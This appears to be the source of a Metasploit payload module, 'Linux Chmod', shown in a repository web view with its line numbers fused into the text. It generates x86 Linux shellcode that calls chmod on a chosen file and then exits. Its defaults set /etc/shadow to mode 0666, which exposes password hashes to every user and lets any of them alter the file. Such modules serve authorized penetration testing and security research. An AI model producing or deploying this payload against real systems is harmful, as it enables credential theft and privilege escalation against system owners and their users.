Path: blob/master/modules/payloads/singles/linux/x86/chmod.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6# Linux Chmod(file, mode)7#8# Kris Katterjohn - 03/03/20089###10module MetasploitModule11CachedSize = 361213include Msf::Payload::Single14include Msf::Payload::Linux::X86::Prepends1516def initialize(info = {})17super(18merge_info(19info,20'Name' => 'Linux Chmod',21'Description' => 'Runs chmod on specified file with specified mode',22'Author' => 'kris katterjohn',23'License' => BSD_LICENSE,24'Platform' => 'linux',25'Arch' => ARCH_X8626)27)2829register_options(30[31OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),32OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),33]34)35end3637# Dynamically generates chmod(FILE, MODE) + exit()38def generate(_opts = {})39file = datastore['FILE'] || '/etc/shadow'40mode = (datastore['MODE'] || '0666').oct4142"\x99\x6a\x0f\x58\x52" +43Rex::Arch::X86.call(file.length + 1) + file + "\x00" \44"\x5b" + Rex::Arch::X86.push_dword(mode) +45"\x59\xcd\x80\x6a\x01\x58\xcd\x80"46end47end484950